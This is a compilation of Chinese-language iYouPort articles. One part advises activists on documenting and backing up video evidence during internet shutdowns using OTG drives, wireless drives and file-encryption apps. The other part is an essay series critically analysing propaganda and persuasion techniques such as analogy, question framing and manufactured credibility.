1、如果您不能立即上传，那么社交媒体提供的发布日期和位置信息对于显示您的视频是在某个日期、某个位置进行拍摄的帮助就很低。

2、如果其他人（合作者）也不能上传，则总体上可用于证实您的视频的文档可能会更少。

3、如果您需要使视频离线传输以到达所需的目的地，其他人可能很难跟踪视频的来源。

4、如果由于安全性提高或存储容量有限而需要从手机中删除原始视频，或者如果您不得不放弃手机，则可能更难确认视频的真实性。

5、如果您忘记了有关特定视频的详细信息，并且正在使用的应用无法在没有互联网访问的情况下捕获/记录元数据，那么其他人以后可能无法识别这一证据。

以下提示可帮助您在断网期间维护视频证据，以最大程度地提高视频证据的可验证性和可用性。

在视频中直接拍摄出或提供可识别性信息

「图」

尝试在视频中包含一些细节，以使调查人员或新闻工作者以后更容易利用开源情报思考方式确定时间和地点，例如独特的地标、天际线、路牌、店面、车牌、旗帜、钟表、报纸头版等。

您也完全可以在拍摄过程中口述基本信息，例如您的姓名和联系信息（如果可以的话）、时间、日期和位置/ GPS坐标（或在纸上写下来然后对着纸面拍照）。

您所包含的详细信息越多，其他人以后就更容易研究和验证您提供的视频证据，即使他们不认识您或不知道视频来自何处。更多参见下面的技巧：

- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《公民取证技巧：如何留住真相？》

添加描述/元数据

「图」

利用众多专门的文档应用程序之一，这些应用程序可以从手机中提取增强的元数据或技术信息，并允许您手动输入其他描述性信息。在下面看到一些曾经推荐过的工具：

- 《从自我保护到有效利用：元数据工具（下）》

请记住，在断网期间，您需要一个不依赖互联网访问来记录或存储此元数据的应用。具体参见第3集中的介绍：《我应该使用这个应用程

序保存真相吗？：如何应对断网（3）》使用*ProofMode*捕获的一些元数据

即使您没有使用专门的文档应用程序，您仍然可以在手机上以注释、地图或照片的形式创建补充信息。

您可以使用自己喜欢的文件管理器应用将这些附加信息整理成视频。

要包括的关键补充信息是时间、日期、记录的事件的位置以及记录的来源（即您的姓名和联系信息，如果可以安全地包括在内的话）。

共享时，导出元数据并将其包含在视频中（您可以将其全部放入文件夹中并压缩）。带有其他描述性文件的视频。

保留备份

「图」

定期备份手机中的媒体，最好备份到2个单独的存储设备。例如，即使没有计算机，也可以将OTG 或拇指驱动器连接到手机。

备份将确保您保留视频的副本，以防手机丢失或摔坏，或者需要从手机中删除视频。

拥有原始视频的安全副本，还可以使调查人员或新闻工作者通过其他方式查看您的视频证据，以便稍后（只要他们能够将其追溯到您）直接从您那里获取原始视频，从而创建一个完整的监管链。

就是这样。下一集中我们将介绍具体的安全备份方法 —— 依旧是在断网的情况下。下次见！〇

原文

如何在没有互联网或计算机的情况下备份手机中的媒体文档？：如何应对断网（5） - iyouport

如何应对断网

【2020年9月3日存档】在大型突发事件发生后，当权者的第一反应往往就是断网，于是，如何在断网的情况下继续工作，是公民活动家基本必备的技能

这里是 “断网后” 系列第5集，如果您错过了前面的内容，可以在 下面回顾：

- 《断网后如何进行文件共享和通信？：如何应对断网（1）》
- 《如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2）》
- 《我应该使用这个应用程序保存真相吗？：如何应对断网（3）》
- 《没有互联网的情况下如何验证视觉信息的真伪：如何应对断网（4）》

备份是确保在您的设备一旦被警察没收或丢失的情况下不会意外删除、损坏或失去您的数据和重要文档的关键。

在断网或网速被变慢的期间，您可能无法运行常规的云备份或将文档发送到安全的异地位置。

卸载到台式机或笔记本电脑上的确是一种备份方法，但是，由于人们通常无法访问单一的备份方法，因此，本文将介绍一些选项和提示，以便您可以在没有计算机的互联网关闭期间从手机备份您的重要媒体文档 —— 这些文档很可能是您揭露当权者罪行的证据。

使用OTG或无线驱动器

「图」

OTG是一种USB驱动器，可与许多（虽然不是全部）Android兼容。您可以将OTG拇指驱动器直接插入手机，或使用 OTG-to-USB 将手机与常规USB硬盘驱动器连接。使用OTG，您的手机即可为驱动器供电。

OTG 驱动器的流行品牌包括 SanDisk、金士顿和三星，尽管还有很多其他品牌。根据存储容量的不同，它们的价格通常在8–25美元之间。
Use an OTG drive to back up media from a phone.

无线拇指驱动器/硬驱与常规硬盘驱动器相似，不同之处在于它们不需要电缆。这样一来，您就可以连接到通常不连接硬驱的设备，例如手机。

无线驱动器优于OTG的特点是，您可以一次将多个用户连接到同一无线驱动器。例如，在您和团队合作拍摄抗议活动的过程中，这会很有用 —— 每个人的镜头都可以备份到其中一个团队成员随身携带的硬驱上。

请注意，由于无线驱动器没有从设备中汲取电力，因此它们依靠电池供电，需要充电。

SanDisk 可能是最受欢迎的无线拇指驱动器品牌，尽管还有其他品牌。无线拇指驱动器通常比OTG更贵，根据存储容量的不同，价格在25美元至100美元之间，还有更大的要150美元。具体取决于容量。
Use a wireless thumb drive to back up media from a phone

备选：使用旧的没用过的手机

「图」

如果您没有OTG或无线驱动器，但是您的旧手机仍然可以继续工作只是不再使用了，那么您也可以将其重新用于备份。

只要两部手机都在物理范围内，您就可以使用蓝牙、WiFi Direct 、或近场通信（NFC）/ Android Beam 将媒体从一个手机连接并复制到另一个手机。

蓝牙和 Wifi Direct 都是无线技术，可以 “配对” 两个设备，而中间无需其他接入点。与蓝牙相比，WiFi Direct 可提供更广泛的范围和更快的数据传输，但会消耗更多电量。

同时，NFC 的范围比蓝牙或 WiFi Direct 短得多（〜4cm），传输速度慢得多，但连接速度更快，耗电更少，因此在手握两个设备时进行快速的小型传输时非常有用。*Send files via NFC, Bluetooth or Wifi Direct*

您的手机可能具有内置的蓝牙，WiFi Direct 或 NFC 应用/功能，可让您选择附近的设备以与他人共享。如果两部手机均安装了“Files By Google”，您还可以使用该应用程序中的这些技术离线共享文件。*Send files offline over Files by Google.*

⚠ 重要提示：这些服务提供的易于连接的缺点是它们不安全。它们被可用于跟踪您的位置或探测设备以获取信息。

渗透者可能会尝试与您的设备配对，向您发送不需要的文件，甚至在设备容易受到攻击时控制您的设备。

为了更安全，请在不使用这些服务时将其关闭，而仅在您处于安全区域且必需时再将其打开，将应用程序权限限制为您所需的/仅需的对象，并练习良好的操作安全性，例如及时运行更新和增强性密码。

包括任何单独的描述/元数据

「图」

将媒体文件复制到OTG、无线驱动器或旧电话时，包括任何可能与媒体文件分离的描述性信息或元数据，都非常重要。

例如，许多文档应用程序都会生成CSV或JSON文本文档，其中包括从设备中提取的元数据（例如地理位置、时间、日期）以及用户手动输入的任何描述。请确保也将这些元数据文档导出并包括在备份中。*Additional metadata files generated using ProofMode app.*

密码保护驱动器

「图」

许多无线驱动器可以通过驱动器随附的移动应用程序进行密码保护。请注意，密码保护与加密不同（参见下文）。*Password-protect your drives.*

考虑加密文件

「图」

如果您需要更安全地存储文件，则可以考虑对备份进行加密。

虽然您可能无法用手机加密大多数无线或OTG驱动器，但是可以在将文件移动到驱动器之前对其进行加密。

可以在Android上加密文件的某些应用包括 ZArchiver 和 RAR。请注意，您必须记住您的加密密码。如果丢失密码，则无法恢复加密的文件。*Zipping and encrypting files using ZArchiver on a phone before moving to backup.*

请记住，某些国家/地区可能有限制甚至禁止使用加密的法律。使用加密技术来防止当局访问您的数据可能被视为 “破坏证据或妨碍调查”，并可能构成犯罪。

您可能需要先了解这点，参见这个地图 2017 map。

在不同的位置进行2次备份

「图」

单个备份并不总是可靠的。例如，您可能会丢失、损坏备份设备，或者可能只是随机发生故障。

IT专家通常建议人们在不同位置保存的不同设备上进行2次备份（即共3份副本）。这有助于减轻任何一个特定副本的各种风险。*The 3-2-1 file backup principle.*

就是这样！您学会了吗？

在大型突发事件发生后，当权者的第一反应往往就是断网，于是，如何在断网的情况下继续工作，是公民活动家基本必备的技能。希望本系列内容 「共5部分」 能够对您有所帮助。感谢阅读！〇

原文

警惕微妙的劝导术：“宣传即侵略”——埋下诱饵 乖乖上钩 - iYouPort

劝导术（完成）

继续前文。

劝导者最喜欢类推和隐喻

人们每天都会就如何定义人物和事件进行成千上万次“辩论”，尽管辩论结果不会让战争告终、世界和平，但对人们看待、定义事物的方式却能带来来深远影响。比如你认为一个人能当领袖，可能仅因为他与曾经的某政治偶像在举手投足间有相似之处；一个学生被老师看好，或许仅因为他的风格能让人回忆起某位名人的青年时代；你买了一辆便宜的新车，可能起作用的是，它和你钟情的那款高档车在款式上相似……

这就是类推和隐喻在利用影响时依靠的逻辑。在赵威事件中，主张支持赵威、不相信其被洗脑的信息接收者将其比作浦志强，赵威和浦志强有可能被认为近似重合的属性是身份和遭遇，支持这一类推的人肯定也是着眼于这两个属性的人，从而忽略了其他不同、线索和信息。根本问题在于，这个类推不成立。

再比如，在习近平刚上台的时候，民间有人预测其会成为“中国的戈尔巴乔夫”、或者蒋经国，这两个类推曾经在较长时间里被改良派群体引用来解读习的行为，形成了不小的误导。你可能认为它纯属意淫，那么再换一个为数不少的媒体都使用过的隐喻：习等于毛。当然必须承认，习和毛的确有很多共同点，这个类比非常形象和生动。但习毛不同在于，习所处的时代，没有可能发动毛式的文化大革命，却恰恰因此引发很多人认为文革会重来。为什么文革不会重来，且文革思维从未消尽，已经有太多优秀的分析文章，此处不赘，我们只讨论这些类比和隐喻的用法造成的后果。

不论如何，只要你接受了某个类推，前期劝导就实现了。那么，类推和隐喻是如何被利用来做劝导的呢？简单说就是：一则类推和隐喻，能为模棱两可的信息提供一个主题和框架，从而为隐藏某些区别、突

出另些类似点，做有效的心理引导。

如果你不熟悉赵威事件、也对习近平没兴趣，那么再举个最简单的例子：爱情。请考虑后面这些比喻：爱情是战争——他征服了她的心、她为爱而战；爱情是魔法——爱中的人被施了魔咒；爱情是病——让人心烦意乱的关系……每个隐喻都会突出恋爱关系中的某个特定方面，并确切的指明该怎么做（骗她去爱、尝试治愈、让一切顺其自然），并提供了一些理解行为的方法（比如本性难移等）。但什么是爱情？自己的情感关系能套用任何一个隐喻吗？买本情感大师的书照着它谈恋爱可能麻烦就大了。

「图」

「图」

“宣传即侵略”

宣传是一种侵略——宣传者试图征服你的思想和信仰，它将人的注意力吸引到某些因素上，而故意让你不去注意另一些更重要的信息。宣传的策略就如同军事花招和武器装备，如果想要终止，就必须将它们拆卸解体，内心和情感都要加强抵抗，它并不容易做到，人们80%的选择都处在下意识中。

很明显，“宣传即侵略”也是一个比喻，如果你接受了这个比喻，那么证明我们前面那三篇没白写，当然也可以使用其他比喻来形容宣传，比如极权国家称它为“教育（教化）”。如果你喜欢这个比喻，那么我们的解读就变成另一番模样了——讨论一下那些擅长学习（容易被劝服）、或者学习比较后进的学生，以及如何运用劝导来“打开真理的心智”。

曾经的研究者们也使用过这样的比喻，如劝导就像一座城堡——为论点打下基础，或者如同一次旅行——探索新知的历程，这样一来就又有了另一个完全不同的主题。

仅此一例便足够体验隐喻／类比的强大。

有个方法可以判断信息传播者所做的定义的可信度：观察传播者的真诚度。换言之，判断某种观点的鼓吹者对其鼓吹内容是深信不疑、还是仅为应付时局而采取的权衡之计。

1990年，海湾战争爆发前不久，布什发表演讲：

“每天，我们都能听到来自科威特关于萨达姆侯赛因惨绝人寰暴行的消息……有计划地蹂躏國之灵魂、大规模屠杀、反复折磨……新生儿被从恒温箱中抛出……希特勒回来了！但记住，战争结束后还有纽伦堡审判！”

后来证实，类似婴儿被抛出恒温箱的信息是科威特支持者编造的，且被新闻媒体不加追问地传播开了。有人认为布什不过是说的夸张一些罢了，是为了起到强调作用，毕竟他在动员国民共同抵御一场战争。演讲确实奏效了，战争支持者们热情高涨，布什得到了前所未有的声望，战争期间及其后，布什的支持率一直在90%左右。

但这种宣传也是有代价的，不论是对信息传播者还是其受众。当激情退去，人们开始疑惑，为什么完胜的情况下还让萨达姆继续执政？而且他的兵力大多完好无缺，很快就被他用来对付自己的国民了。你能想象在粉碎希特勒军队之后还让希特勒继续统治德国吗？

1991年的民调纪录显示，有过半的美国人认为“战争没有取得胜利”——因为萨达姆还在当权。彼时布什的支持率便开始下降。有趣的是，正是布什那个关于“萨达姆是希特勒”的隐喻为其招来了“虎头蛇尾的懦弱领导人”的名声。

布什或许并没有觉得萨达姆是另一个希特勒，他这么说不过是希望将那种对纳粹的恐惧和厌恶植入人们心中。萨达姆确实是个十恶不赦的恶棍，但他能在伊拉克站稳脚跟，是这种稳固让布什和他的追随者认为萨达姆可以继续执政。

类推是宣讲者最喜欢使用的东西，它能让劝导获得把控受众情绪的能力。经典理论对类推这种劝导法嗤之以鼻，任何类推都不过是建立在错误比较上的论证：类推中提出的相似点其实都毫不相关、构不成因果关系。经典理论认为评估类推的原则有两种：1、两个事物之间的相似处，应该关于两者对等的、显著的方面；2、类推不应忽略两者之间的不同点。后一条比前一条更重要。

稍微注意下就能发现，互联网舆论场中密布着各式各样且乱七八糟的类推和隐喻，它们甚至是有些不擅理论的写手引以为傲的特色。这一片嘈杂中，某些有计划的劝导大可信马由缰。

「图」

「图」

提个问题，埋下诱饵

比如你是一位领导人，正需要处理一场预计会造成600人死亡的瘟疫，专业分析师给你两个选择：选方案A，200人可以获救；选方案B，三分之一的可能性是600人都能获救，三分之二的可能是无人获救。请你选择。

这是一个比较知名的实验，其结果显示，72%的人选择了方案A，因为他们认为A能稳保200人获救，而B却只有三分之一机会能救人。

现在来换一个问法：选方案A，400人会丧生；选方案B，存在三分之一可能性无人丧生，三分之二可能600人丧生。

其实两套问题是一模一样的，将其分给不同被试群组后却发现，第二套问题中的B方案获得了78%的支持。为什么换了一个提问方法就造成了结果巨变？研究人士认为，是因为人们不喜欢听到损失，总是在寻求方法避免损失。第一种问法看起来方案B损失更大，而第二种问法，肯定是方案A损失更大了。

很多实验能证明，将议题设定为“会损失什么”，比设定为“能得到什么”，其宣称更具说服力，也就是营销业最喜欢利用的“损失厌恶心理”。

提问题就是一种微妙的前期劝导。一个精心设计的问题，能给其他问题下定义、可以委婉地道出“正确答案”，或引导人们的思维方式。民调设计者早已心知肚明，微妙地改变提问方式能导致戏剧性的、截然不同的回应。

这点在律法界被超高重视。一本关于法庭质证的教材强调；“绝不要提你不知道答案的问题”。或者更确切的说：绝不要提出不利于你的答案的问题。

提问是一个强大的劝导技巧，因为问题塑造了人们的决策过程，它指导人们看待事物的的思维方式，暗中圈定了可能的答案。比如这样的问题：你支持合法持有枪支的权利吗？问题将人们的注意力引导到枪支所有权的合法性上，而非其他如反恐等局势。这样便含蓄地将问题收拢到有枪和没枪的绝对化选择上。

可以参考政客们在新闻发布会和公共事务节目上是如何表现自己的，他们深知提问能引导注意力，改变公众意见。也因此，政客们不喜欢某些问题时他们会很巧妙的回避，比如是一位不愿公开拥枪问题立场

的政客，面对基于是非的提问他会这样说：这个问题很好，只是我们应该对那些肆虐于街头的罪行做些什么呢？（把球打回去）或者：你知道我支持美国的宪法以及人们以合法的方式安稳生活的权利（这句话你怎么理解都行，也就是跟没说一样）。

不管是通过类推、隐喻的斟酌和选择，还是一个埋藏着意图的巧妙问题，都可以形成前期劝导。很多时候人们认为自己“的确是在理性讨论”，但旁观者可能已经看出，这其中哪个是掌舵人，哪些是划船人。

——未完待续——

原文

警惕微妙的劝导术：一个能力排众议博取认同的“骗子”长啥样 - iYouPort

劝导术（完成）

继续前文。

“如果众人一致认为你不可靠、不可信且不受欢迎，你该如何力排众议达到劝导的目的？”

这个问题是宣传者最为感棘手的。对于劝导性信息，人们通常会看两点：1、说话人是否有自己的立场和偏见；2、他或她从中是否获利。这两种质疑都是有用的，如果证实一则劝导信息是不公正的，受众会审慎对待、认真分析其内容，甚至可能坚决拒绝。于是宣传者发现，隐藏自己的宣传目的和身份、避免宣传姿态是非常重要的。

为了劝导成功，信息宣传者必须表现出公正可信。怎么做？本文介绍两种策略，逆转“不可信不可靠不受欢迎”的形象。

「图」

「图」

先说个故事。公元前3世纪的韩非子是个雄辩家，《韩非子 - 说难》里记录过这样一个故事：“昔者郑武公欲伐胡，故先以其女妻胡君，以娱其意。因问于群臣：‘欲用兵，谁可伐者？’大夫关其思对曰：‘胡可伐’。武公怒而戮之，曰：‘胡，兄弟之国，子言伐之，何也？’胡君闻之，以郑为亲己，遂不备郑”。——以此种引人注目的方式让胡国统治者放心，他不会出兵攻打他们，确信统帅是个值得信任的领导人，毕竟他刚刚处死了自己的大夫，胡国怒气顿消。但结果呢？“郑人袭胡，取之”。

韩非子的故事有两个寓意，其一就是：信息传递者表面做出与自己利益相冲突的事，欺人眼目，如果人们受此引导，相信其所作所为不会为他们自己带来丁点好处，甚至会有所损失，人们就会信之不疑，而他们的劝导效果也会事半功倍。当郑武公将他的大夫处死，看起来他

在做对自己不利的事，但问题在于，对于胡国臣民来说，郑武公的主张是个假象；他一手操控此假象就是为了让他看起来是在做与自己利益相反的事。这便可得出韩非子故事的第二个寓意：当提到宣传的时候，表象也可能是掩人耳目的。

采取自损利益的行为策略可被用于提高信任度，但肯定不需要你去杀死自己的亲友，举个简单的例子来说明。如果你是一位警官，抓到一名走私毒品的惯犯，他大肆狭隘司法体系、谩骂毒品管制违背人性，他会对你有影响吗？或许不会，因为你的印象中“这样的人说这样的话一点也不奇怪”。假如这个毒贩说：惩治罪犯的法律太过宽松了，“如果犯人们都能请到一位巧言善辩的律师，他们几乎都可以逃之夭夭。即便定了罪，所受之惩罚也不足以大快人心”……等等，这些话会不会对你有影响呢？

这是个有记载的试验，结果很明显：当犯人要求更严厉更高效的法庭时，他的话效果惊人，几乎等同于社会官员发表的同等主张。这一调查显示：信息传递者也可能是个不道德的人，亦能同样深具影响，但前提是，信息传递者显然不是在为他自己的利益去试图劝服别人。

它利用的是人们的刻板印象——为了解释这种矛盾，受众或许会推测囚犯大义凛然改邪归正？或许会猜想囚犯是被迫行为才表态与罪行对抗的？然而，这些猜想都不可能获得证实，另一个解释似乎更合理些：利害息息相关的当事人提出的搬石头砸自己脚的声明，其真实性或许真的不容置疑，人们更愿意相信他的观点。

冷战时期，核武器竞赛最有力的反对者是数位看起来立场与他们的背景相矛盾的专家。比如备受尊重的核物理学家奥本海默，多年来反对核技术的进一步发展；还有知名天文学家卡尔萨根向全世界警告“核冬天会来临”；美国前海军上将埃尔莫发动制止某军事发展的运动。他们之所以备受信赖，很大程度上源于他们的态度与自己从事的职业背道而驰——首先他们都是领域专家，其次他们这样做得不到任何好处，甚至还会失去学院的敬重，必定只有在情势迫在眉睫的时候他们才会开口。

事实证明，人们不仅倾向于更多关注出其不意的事，更会对那些顶着压力挺身而出揭露有损自身利益的真相的专家坚信不疑。

「图」

「图」

《孟子·公孙丑下》中有一个故事：孟子准备去朝见齐王，碰巧齐王派人给他传话说："我本应来看你，但因寒疾不能吹风，所以今天来不了。明日早朝的时候，不知你能否来见我？"孟子一听这话，也称自己身体不舒服，无法上朝。到了第二天，孟子却外出吊丧去了。大夫景丑知道这事后很不理解，批评孟子对君主不敬。孟子说，齐国没有一个人去给齐王讲仁义，对齐王的不恭敬没有比这更大的了。至于我，不是尧、舜之道，不敢在齐王面前陈述，所以齐国人没有一个像我这样敬重齐王的。

孟子的故事阐明了一个可提升可信度的方法：说话人越是不试图去影响他人，其在听众心中的可信度反而越大，而信息本身即便明显偏颇也会被忽略。打个比方，如果股票经纪人直接给你推荐某个特殊的股票，你会去买吗？这很难确定，一方面经纪人可能是个专家，另方面你还会怀疑经纪人是否受人托付才努力推销的？这样一来信息的可信性就下降了。但假设，你只是偶然偷听到经纪人与朋友聊天时提到这支股票很有可能会上涨，由于经纪人显然并不是在影响你，他的话才将会产生很大影响。

喜欢宫廷戏的媒体线人基本都会中这样的计策，一个"让你相信"的目的肯定不会直接去告诉你，那样也太笨了些。本网在《信息战》一文中分析了有意放料的现象，在信息分析心理学系列中，指出了《局部一致的骗局和不确定性证据》，经过培训的专业新闻人不一定会犯这种糊涂，但在渴求信息的状态下也很难讲是否能拒绝中招。

很多策略都可以让你看起来并不是试途在影响别人，创造被偷听的环境只是其中之一。每个人都希望得到不是专门传递给自己的信息，这样的信息被认为更与价值。一个最典型的例子就是"隐藏摄像头广告"，如果人们确定被拍摄的人对拍摄不知情，就不会认为信息有劝导目的；人们相信被拍摄者的反应是自发的，就不会怀疑他们的言辞。

「图」

「图」

你的形象可能有决定性作用

美国著名的老牌政治公关专家罗杰·艾尔斯被称之为"利用媒介塑造形象"的奇才，曾作为里根和布什竞选时的幕僚，后成为福克斯新闻频道董事长兼首席执行官。根据艾尔斯的研究，能赢得公众倾慕的演讲者需要具备一种气质：

> 在人际交流中，你若能掌控那种比我们谈到过的任何因素都更强大的要素，即能令人见人爱的品质就好了。我称它为神奇的子弹，因为倘若你的观众喜欢你，他们会原谅你所做的其它一切错事，但如果他们对你没有感受，你再怎么循规蹈矩也无济于事……

艾尔斯提供了一个有可能让你变得讨人喜欢的建议：讲观众心里所想的东西（可以通过不带劝导意图的名义测试、或者长期观察，把它找出来）；让别人感到舒服；掌控局面/情境；避害就利。

公关偶像罗伯特·戴伦施耐德在他的畅销书《权力与影响》中也为政客们提供了一些提升可信度的常规建议：

> 最初安排比较简单的目标，然后宣布大功告成，这会让人们觉得你是一个可靠的领导人；利用环境来衬托你的信息，比如接受采访时最好在与内容相符的环境中进行；选出那些关于自己的、会变成文字的负面信息，大多数新闻工作者会采取中立的态度，将负面信息留给采访记者，这样你就能当面予以反驳了；搞清楚人们是怎样看待事情的，然后见风使舵、投其所好……

这些建议都比较实用，但它们都远不及百余年前亚里士多德的偏方——做一个品德高尚的信息传递者。

可信度是被制造出来的，而不是赢来的。通过细致地控制情境，让事情的中心人物——信息传递者，看起来正是受众想象中的样子：让人喜闻乐见、可信、强大、专业或者任何能吃得开的形象。一旦这个形象化身为某个名人或宣传者，它就可以被像商品一样交易，推进任何事业。只要它有足够资金能购得形象“使用权”。

太多事实证明，可信度的生造能掀起盲目的个人崇拜。人们不再思考那些对自己至关重要的事情，反而转向看起来可靠的领导人寻求解决方案。这个策略在被求助的名人真正具备相关品质时或许会奏效。遗憾的是，可信度常常只是被巧妙的制造出来、为宣传目的服务的工具，媒体通常只是这个荒诞借口的仆人。

很多电视节目和书籍提供所谓的“职位分析”，那些装模作样的专家丝毫不会就事论事，却似乎更喜欢着眼于人的外形气质等特性。正是这些文字和报道激化了人们的个人崇拜风潮，还以摒弃谨慎和深思熟虑的说服为代价，推动纯粹的宣传，形象的重要性被置于远超过内在实

质的地位。

本文的立场是确立这种外在影响的切实存在、希望提醒人们不要过于盲目，而并非支持它。对受众来说，请记住本系列话题对劝导语话的定义：如果你发现自己即刻便喜欢上了演说者，或许意味着你得到的并非真理，可能仅是富有效力的宣传；对宣传者来说，还是要强调那句话：最好不要高估你的受众的理性程度。我们很可能无法改变群体的习惯性思维，无法左右人的刻板印象，在利用和警惕之间，你很可能需要一个平衡。

——未完待续——

原文

警惕微妙的劝导术：互联网上的认知吝啬鬼和理性化怪圈 - iYouPort

劝导术（完成）

继续前文。

似乎存在一个困境：一方面，我们追求自由的表达、充分的探讨和思想交锋，认为这样能帮助我们做出一个公正高明的决定；另方面，做为“认知吝啬鬼”，我们又往往没能全力以赴地参与探讨决策，不但没对信息做出严格的思考和审查，反而过分依赖简单的、来自权威渠道的劝导，和有限的推理。于是，漫不经心的宣传和深思熟虑的劝导，充斥着舆论场。

互联网上遍布着最容易接受劝导的“周边路径”

劝导有两种途径：周边路径和中央路径。在周边路径中，受众很少思考或推敲信息，比如同时查看很多群聊，对每个群聊中出现的议题插两嘴、边看twitter边吃饭或工作等等。在这种情况下，可能很简单的因素就可达到说服的目的，比如信息传播者的个人魅力（权威性）、周边大多数人怎么说、接受信息所带来的情绪是否当下所需、信息中是否给出了一个理由（哪怕是虚假理由）。

在中央路径中，受众会细致深刻地考虑信息材料，比如会不客气地提出异议，会希望了解一些额外问题、寻求新的补偿性信息。此类路径的劝导能否成功取决于诡辩者能不能禁得住刁钻审查。

互联网宣传能充分利用认知吝啬鬼有限的信息处理能力，试图引导人们以周边路径应对劝导。视觉匿名环境下，博主的权威性（熟知程度）、圈子化从众和高度情绪化等现象都是非常普遍的存在。

现代劝导的特点是：信息泛滥、气氛轻松（意识形态娱乐化），还有劝导的即时性——让人们很难在做出决策前充分思考，“如果表态慢一步话就让别人说了”。考虑到人们更多的会使用周边路径认知，职业宣传者们可以使用我们前文中提到的四步策略信马由缰，且稳操胜卷地达成目的。

那么是什么在决定人们选取哪种路径去接受信息呢？相关研究一般认为，取决于受众思考信息的动机——如果个体认为思考结果与自身利益、安危关系不大，那么他们就会选择周边路径，反之则选择中央路径。我们一直在强调对公共事务的关切就是对自己的关切，理由在此，但临避心态依旧占据大多数。近期，一位政治学者组织群聊探讨时政议题及观点“被周边人排斥时该怎么办”，当时就有部分群友表示“原谅不关心的人，毕竟生活不全都是公共事务”。在赵威事件中，除了赵威的家人和同事之外，其余所有关注者都处于一种间接关系，为数不少的人们进入争辩的动机已偏离事件本身，而更多着重于辩倒不同意见者。这样的时候选取周边路径是很自然的。

前文中主要分析在此事间当局是如何操控大众劝导的，在现实生活中，我们需要应对的还不止来自于权力和权威渠道的宣传和劝导。没有什么简单的出路，吃一堑却难长一智的情况太常见了。我们只能建议减少周边路径处理重要信息，并通过揭露劝导术来提升公众识别和理解的能力。这可能需要重构信息的表现方式，以便人们在做出决定前有时间、有能力去思考。

「图」

「图」

劝导何时变成宣传？

一种常用来辨别宣传的方法是：令受众惬意和愉快的程度。我们在前文中提到林肯在葛底斯堡的演讲是政治劝导的高品质模版，在开启这个话题之前，还在Facebook上讲述过保罗.英格拉姆的真实案例，受众读到这两段文字时的反应，取决于对林肯的崇拜程度、对心理疗法的信任程度，如果你觉得林肯魅力十足、心理疗法真的有效，有可能会质疑本文选取的立场——警惕。另方面，如果你对所有政客报以怀疑、认为林肯被高估了，心理疗法是骗人的把戏，那么你可能感觉很开心：那些冒充内行的家伙们终于原形毕露了。

但这里同样产生了一个问题，“仅仅依靠令人惬意和愉快的程度”来判定到底什么是宣传似乎有些过于武断。林肯在19世纪60年代曾被称为宣传者，而今天，他是美国英雄。宣传最主要的任务是让人喜欢上这个信息传递者、赞成该信息，因此可以说，如果你发现自己即刻便喜欢上了演说者，或许意味着你得到的并非真理，可能仅是富有效力的宣传。

可以使用两组问题将宣传和审慎的劝导区别开来：

一、这则信息可以引发人们对手头议题的思考吗？还是切断了人们的思考只利用偏见？

比如葛底斯堡演讲，你能从中发现丰富的美国历史，那个时代美国政府的运作方式，一个领袖面临的抉择，为什么此后美国宪法三次修订、为什么在民主政权中保卫少数民族权益如此重要，以及美国传统的价值观有哪些。相比下另方面，一旦人们认定英格拉姆“很邪恶”（故事详情可见文末），那就无需再去进一步调查或者听取其他解释——但却有充分理由让人们忽略碰巧与自己的主张相悖的任何论据（证实者偏见）。

二、演说者是如何掌控人们情绪的？前文中提到过，不可高估民众的理性程度。其实很容易理解，假设人们不再对不公不义表现义愤、不再对他人的遭遇同情怜悯、不再对成就引以为傲，那么这个世界基本就只剩下惨淡了。所以情感非常重要，林肯利用人们的自豪感鼓动大家去探讨做为美国人到底意味着什么，并始终如一地追求这个理想。心理疗法也同样，利用人们的不满情绪激发他们去探索究竟该如何生活。

在中国，政府发动的五毛水军用虚构的私德、智商和人品去攻击民主人士，纯粹抹黑的目的是什么？它对事件议题本身毫无作用，不过是让人从中获得损人利己的卑鄙企图，增强那些不熟悉当事人的民众的偏见。当偏见植入后，是较难根除的，它会给你戴上有色眼镜，不再能也不需要去看清真实和全部。

当宣传者肆无忌惮的利用人们的不安全感、信息不对称和认知吝啬鬼习惯，或探究人们内心最深层的恐惧，或提供虚假希望时，人们对它的仔细观察和问询就会停止。独裁者高呼改革，用小恩小惠手绘大饼不断暗示被奴役者“你们不用着急，也不必害怕失去稳定的生活，改良会让这个国家慢慢变好，看，已经有可喜的成就了，你们要有耐心”……

只要人们选择了认同就将以更强烈的认同支撑下去，这个时候他们的目标已经变成了证明自己在这一选择中没有愚蠢和误判。人们会变得万分依赖那些支持他们伪装的东西，情感压倒判断力，于是人们会采取自己在其他时候都觉得愚蠢的行为——给虚假记忆以生长空间，甚至残忍地对待无辜的人。不管赵威是否真的被洗脑了，举报任全牛、批评李和平律师已经证明了洗脑成功，相关举报的实录等“证据链”会被做的完美无缺。为了免于背负一生的骂名，她就只能选择坚信自己没被洗脑，也就是坚信举报是对的，任全牛、李和平“的确不堪”。

心理学称之为理性化怪圈。人类习惯于把自己想象成理性化的动物，然而太多事实证明，人们不过是喜欢自圆其说的动物而已，不管表现有多不合理，人们都会试图在自己和别人面前展示冠冕堂皇。加缪说："我们倾其一生，只为让自己相信我们的生命不是荒诞不经"。如何证明生命没有荒唐？那就是寻找方法为自己辩护。

影视文学作品中经常会给失手杀人的角色配上一些台词；"你该死、活该"，还要以一种怒不可遏的态度说出这些话来，此后再有人问起被害人的时候，凶手都会将其描述成罪大恶极，以期为自己的行为减轻心理压力。这些细节的设置都不是没道理的。

理性化圈套是个不断上升的螺旋："我做错了事；我相信受害者应该受到惩罚；我相信自己的行为正当。既然受害者是罪有应得，那么他们就应该受到更多惩罚——我是在维护正义！你们才是被洗脑的人"。

一家无线电台网的首席运营官曾经说过："当今成功的谈话节目的模式莫过于找出你的听众最执拗什么，然后利用它"。这不只是一句商业策略，更是在提醒人们，警惕那些微妙的宣传和劝导术。

「图」

「图」

附：保罗.英格拉姆的真实案例（给没有Facebook帐号的朋友）

保罗.英格拉姆是华盛顿奥林匹亚社区的顶梁柱，他在43岁的时候已经是司法部的首席公民代表，同时活跃于当地政坛和生命之水教堂。1988年11月，英格拉姆因涉嫌对他的两个女儿——艾丽卡和朱莉实行性骚扰，而被捕。控告他的人就是他的亲生女儿。

三个警察和一个心理学家对其进行了一系列的审问，之后，英格拉姆对自己的可耻罪行供认不讳。根据他的供词，他对两个女儿性骚扰已经长达17年，他自己还承认是一个邪教组织的头目、在他家的农场上屠杀婴儿和动物。他还进一步供认，曾经让一个女儿受孕还逼她去做流产。他称自己的家是一个恋童癖团伙的总部，团伙人经常喝得烂醉轮奸他两个女儿。

